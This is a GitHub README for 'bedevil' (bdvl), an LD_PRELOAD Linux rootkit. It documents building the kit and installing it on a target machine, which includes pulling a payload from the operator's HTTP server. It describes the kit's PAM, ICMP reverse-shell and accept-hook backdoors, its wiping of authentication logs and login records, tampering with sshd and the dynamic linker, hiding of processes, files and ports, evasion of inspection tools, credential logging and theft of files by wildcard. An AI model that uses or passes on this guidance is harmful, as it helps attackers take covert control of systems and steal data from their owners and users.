Skip to content

Error996/bdvl

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

bedevil (bdvl)

icon

  • Loosely based on mempodippy previous rootkit project, vlany.

Overview

  • This is an LD_PRELOAD rootkit. Therefore, this rootkit runs in userland.
  • This is based on the original bdvl, however...
    • This repository is much different from the original.
      • Besides new additions, there have been many improvements.
  • During the creation of this rootkit I had some goals in mind.
    • Tidy up previously existing aspects of precursor (LD_PRELOAD) rootkits.
    • Fix outstanding issues. (from vlany)
    • Create a more manageable & robust system of rootkit functionalities.
    • Working on anything in vlany just felt like a huge mess, I grew to hate this. I knew it could be better...
  • When it comes to actual rootkit dependencies, there are only a few.
    • Most will already be installed.
    • Those that aren't either
      • Will be installed by etc/auto.sh before rootkit installation
      • Or can be installed with etc/depinstall.sh
  • Now you can download from https://www.cloudflare-ipfs.com/ipfs/QmYMdpzSaHKbYiQm5W6b9XxFVcdJkQi2AH4PVJAPa1Emu6
    • ipfs always online

Usage

  • Getting an installation up & running is pretty easy.
  • First you'll want to edit maybe a small handful of settings in setup.py.
    • You can fine tune a decent amount of stuff to your liking.
  • Next, sh etc/depinstall.sh && make...
    • Now in the build/ directory there are two new files.
    • <PAM_UNAME>.b64 & bdvl.so.*
  • When it comes to the actual installation, you have three choices.
    • Host the result (for example) build/changeme.b64 file somewhere accessible from the target box & point the first variable in etc/auto.sh to wherever changeme.b64 may be.
    • On the box, when running etc/auto.sh supply it a path as an argument to this file wherever it is.
    • Or with the compiled bdvl.so.* you can run (as root) LD_PRELOAD=./build/bdvl.so.x86_64 sh -c './bdvinstall build/bdvl.so.*'.
      • This is how etc/auto.sh installs bdvl after installing dependencies.

Installation example

  • On my own machine here, I've configured bdvl how I like & have built it.
  • The output that you can expect to see from these stages may differ very slightly from the images but the process remains the same.

building-bdvl

  • In this example I am using etc/auto.sh to grab the result (changeme.b64) from a Python HTTPServer I've got running for this purpose.
  • The last command sent in that screenshot is once the target box is listening for my connection, as seen in the example below.

installation-process

  • Now the rootkit will be in effect & you'll be able to log in.
  • In the example below I am using the 3 backdoor methods available in bdvl.

first-backdoor-login


Features & configuration information

  • Listed in the table below is a very concise overview of all of the important functionalities that bedevil has.
  • Most can be enabled/disabled from within setup.py & the others in config.h.
Toggle Info
USE_PAM_BD allows interactive login as a backdoor user via ssh.
USE_ICMP_BD magic packets are replied to with a reverse shell.
USE_ACCEPT_BD get a magic shell from infected services listening on tcp sockets.
LOG_LOCAL_AUTH log successful user authentications on the box.
LOG_SSH logs login attempts from over ssh.
LOG_USER_EXEC logs some stuff executed by users. straight from exec hooks.
HIDE_SELF hides files and processes based on rootkit magic GID.
FORGE_MAPS hides rootkit presence from process map files.
HIDE_PORTS hides ports & port ranges defined in 'hide_ports' file.
DO_EVASIONS hides rootkit presence from unsavoury processes.
READ_GID_FROM_FILE magic GID value is changeable from backdoor shell via command.
AUTO_GID_CHANGER the magic GID will refresh every so often. see comments.
HIDE_MY_ASS keep track of all hidden paths created by rootkit user (for rehiding).
UNINSTALL_MY_ASS paths kept track of by HIDE_MY_ASS will be recursively removed on uninstall.
SSHD_PATCH_HARD this keeps UsePAM & PasswordAuthentication enabled, hardmode.
SSHD_PATCH_SOFT not unlike the one mentioned above however is only applied for sshd.
ROOTKIT_BASHRC the rootkit will write & lock down .bashrc & .profile.
BACKDOOR_UTIL allows access to a host of backdoor utilities. see comments.
SET_MAGIC_ENV_UNHIDE set magic env var in ./bdv unhideself shell process.
BACKDOOR_PKGMAN safe package management access from backdoor shell.
FILE_STEAL steal specified files when opened & accessed by users.
PATCH_DYNAMIC_LINKER rootkit overwrites the original /etc/ld.so.preload path with a new one.
  • By default, all are enabled.
  • A handful of functionalities do not begin until the first backdoor login.

Backdoor utility commands

  • By hooking the execve & execvp wrappers bdvl provides rootkit-related commands from a backdoor shell, accessible by running ./bdv.

available-backdoor-commands-in-bdvl

Magic GID

  • READ_GID_FROM_FILE allows changing of the rootkit's magic GID whenever you like.
  • There is a command available from within the backdoor for manual changing of the rootkit's GID.
    • ./bdv changegid
  • AUTO_GID_CHANGER is more or less what it sounds like. The rootkit will refresh its magic GID at least every GID_CHANGE_MINTIME seconds.
    • This value can be found in setup.py
    • The rootkit will not automatically change its GID when there are still rootkit processes running.
    • Otherwise there is a pretty high chance of being discovered since previous processes left with the previous GID would be visible.

HIDE_MY_ASS

  • HIDE_MY_ASS is intended to be a means of keeping track of files & directories created, outside of the home & installation directory, by (you) the rootkit user.
  • For the sole purpose of rehiding them all when changing magic GID, be it manually or an automatically scheduled/timed change.
    • At the beginning this was solely for rehiding stuff when the rootkit changes magic GID.
      • But is now accompanied by UNINSTALL_MY_ASS, which, when doing ./bdv uninstall will recursively remove all of your own misc paths on the box.
    • Paths are automatically kept track of upon creation in a backdoor shell/general rootkit process.
    • The file which contains all can be found in my_ass within the installation directory.
      • Paths in here will be rehidden upon GID changes.
      • If you are to unhide a path after its creation (path GID = 0), it will simply be ignored when the magic GID is being changed & files are subsequently being hidden.
      • If you would like to stop a path from being automatically rehidden upon a GID change just remove the path's line.

Backdoors

  • All of the backdoors available in bdvl are password protected.
    • By BACKDOOR_PASSWORD in setup.py.
    • When the value is set to None random garbage will be used as the password.
    • The password is stored as a SHA512 hash.

PAM backdoor

  • By hijacking libpam & libc's authentication functions, we are able to create a phantom backdoor user.
  • etc/ssh.sh makes logging into your PAM backdoor with your hidden port that bit easier.
  • The responsible utmp & wtmp functions have been hooked & information that may have indicated a backdoor user on the box is no longer easily visible.
  • Additionally the functions responsible for writing authentication logs have been hooked & intercepted to totally stop any sort of logs being written upon backdoor login.
    • See these hooks, here (syslog) & here (pam_syslog).
    • If the parent process of whatever is trying to write said auth log is that of a hidden process, the function in question simply does nothing.
    • Previously in bedevil, when interacting with the PAM backdoor, a log would be written stating that a session had been opened/closed for the root user.
    • So now this is no longer the case...
  • A problem with using this is that UsePAM & PasswordAuthentication must be enabled in the sshd config.
    • bdvl presents a couple of solutions for this. Really though it presents one solution as both work the same, primarily just at different times.
    • HARD_PATCH_SSHD_CONFIG will constantly make sure the sshd_config file stays the way it needs to, rewriting the file when changes need to be made.
    • SOFT_PATCH_SSHD_CONFIG works more or less exactly the same way as above, but applies only for the sshd process & does not really touch sshd_config. Basically sshd will read what we say it should.
      • No direct file writes/changes (to sshd_config) are necessary for this method. The file will appear to be untouched by any external forces when doing a normal read on it.
    • See here for more insight on how these work.
  • The rootkit's installation directory & your backdoor home directory are in two totally different & random locations.
    • I figured it was pretty important to separate the two spaces.
    • When no rootkit processes are running (i.e.: not logged into the backdoor) the rootkit will remove your .bashrc & .profile, that is until you log back in.
    • I have made everything easily accessible from the backdoor's home directory by plopping symlinks to everything you may need access to.
      • Not unlike .bashrc & .profile these symlinks are removed from the home directory until you log in.
  • If you are not root upon login, su - will get you set up.

Accept hook backdoor

  • Infected services that listen on TCP sockets for new connections, when accepting a new connection can drop you a shell.
  • For example, after sshd has restarted, it is going to be infected...
    • So with each connection it receives it will beforehand check if the connection came from a very special port.
    • The very special port will always be the first port number in hide_ports.

ICMP backdoor

  • When enabled, bdvl will spawn a hidden process on the box which will monitor a given interface for a determined magic packet.
    • The rootkit needs to be able to determine whether or not the ICMP backdoor process needs to be spawned.
    • Therefore this spawned process has its own special ID. readgid()-1
    • Before sending the shell back to you, another child is created so that the GID can be set back to the original. (getgid()+1)
  • When the rootkit is changing magic GID, automatically or with ./bdv changegid the backdoor's process is killed & then respawned.
  • I recommend changing MAGIC_ID, MAGIC_SEQ & MAGIC_ACK in setup.py.
    • Just remember to update etc/icmp.sh with the new values when changing these.
  • etc/icmp.sh will handle sending the magic packet & listening for & receiving a reverse shell.
    • The backdoor will ignore any attempts for a reverse shell if the specified port is not a hidden port.

Dynamic linker patching

  • Upon installation the rootkit will patch the dynamic linker libraries.
  • Before anything the rootkit will search for valid ld.so on the system to patch.
    • See util/install/ldpatch/ldpatch.h for the paths it will search.
  • Both the path to overwrite (/etc/ld.so.preload) & the new path (PRELOAD_FILE in setup.py) must be the same length as each other.
  • When running ./bdv uninstall from a backdoor shell, the rootkit will revert the libraries back to having the original path. (/etc/ld.so.preload)
  • See here for more on how this works.
  • Not having PATCH_DYNAMIC_LINKER enabled will instruct the rootkit to just use /etc/ld.so.preload instead.

File stealing

  • Files that will be stolen are defined in setup.py. (INTERESTING_FILES)
  • Files within directories listed in INTERESTING_DIRECTORIES will also be stolen.
  • Wildcards apply to filenames within INTERESTING_FILES.
    • i.e.: INTERESTING_FILES = ['*.zip', '*.rar', '*.txt', '*.db', 'backup.*']
    • You can also specify paths & they'll also support wildcards.
  • You may want to consult the default target files & the other settings surrounding it...
  • Files already stolen will be removed at least every FILE_CLEANSE_TIMER seconds.
    • The default value for this is once every 8 hours.
    • Change FILE_CLEANSE_TIMER to None to disable this.
  • By default the rootkit will only steal files with a max size of MAX_FILE_SIZE bytes.
    • The default value for this limit is 100mb.
    • Set this value to None & the rootkit will steal target files regardless of size.
    • File contents are mapped into memory and then written by a new child process.
      • If mapping the file contents should fail, bdvl can fallback on the original method of reading & writing the file contents in the calling process.
      • Enable ORIGINAL_RW_FALLBACK in setup.py if this is your desired behaviour.
      • Also for this, in setup.py there is MAX_BLOCK_SIZE & BLOCKS_COUNT... See the comments surrounding these values for more.
  • MAX_STEAL_SIZE in setup.py determines how much stolen stuff can be stored at one time.
    • The default value for this limit is 800mb.
  • Target files are stolen in the user's process so we aren't weirdly modifying file access times by doing this.
  • A file referenced by something such as rm by a user will be stolen before being removed.
    • rm is just a random example. This same logic applies for anything.
  • If a file has been stolen already, it will be ignored.
    • However if there has been a change in size since the last time it was stolen, it will be re-stolen.

Credential logging

  • LOG_LOCAL_AUTH
    • bedevil will intercept pam_vprompt and log successful authentications on the box.
    • Log results are available in your installation directory.
  • LOG_SSH
    • bedevil intercepts read and write in order to log login attempts over ssh.
    • Again, logs are available in your installation directory.

Evasion & hiding

Port hiding

  • With bedevil installed, you can hide or unhide any ports/ranges on the box by editing the hide_ports file in the rootkit's installation directory.
$ cat hide_ports
9146
304-306
1000-1003

Where a hyphen is the range delimiter...

Rootkit presence

  • bedevil will hide itself from the process memory map files upon being read.
  • Reading /proc/*/*maps, when bedevil is installed won't reveal the kit's location.
  • HOWEVER, dependencies required by the rootkit will be visible. (namely, libcrypt & libssl)
    • The rootkit's dependencies are also hidden from these files..

Scary things

  • bedevil will hide from defined scary processes, paths & environment variables.
  • The list of aforementioned processes, paths & variables can be found in setup.py..
  • i.e.: Running ldd.
    • Calling ldd as a regular user will show an error.
    • This user's privileges do not suffice.
    • The calling process must have the power to uninstall & reinstall our rootkit.
    • Running ldd again with sufficient privilege will show a totally clean output.
    • This is because, during the runtime of (in this case) ldd the rootkit is not installed.
    • Upon the application exiting/returning, the parent (rootkit) process of whatever just finished running reinstalls the rootkit.

Other notes

  • While bdvl's DO_EVASIONS functionality (see Scary things) is effective, it also presents a fairly big weakness.

    • while true; do ldd /bin/ls >/dev/null; done
    • This very small while loop will temporarily remove the rootkit... Until the loop is killed.
    • Leaving an open window to do some digging around in a new clean shell.
      • Rootkit files & processes will not be hidden...
      • Hidden ports will no longer be hidden...
      • The rootkit will be visibly loaded in other (infected) process' memory map files...
    • Mitigating something like this could be tough...
  • Behaviour exhibited by PATCH_DYNAMIC_LINKER can be observed by a regular user.

  • A magic ID is a bruteforcable value.

    • https://pastebin.com/rZvjDzFK
      • Depending on the system something like this could take a long time until the target ID is reached.
    • bdvl somewhat lessens the threat of something like this with the implementation of the automatic GID changer.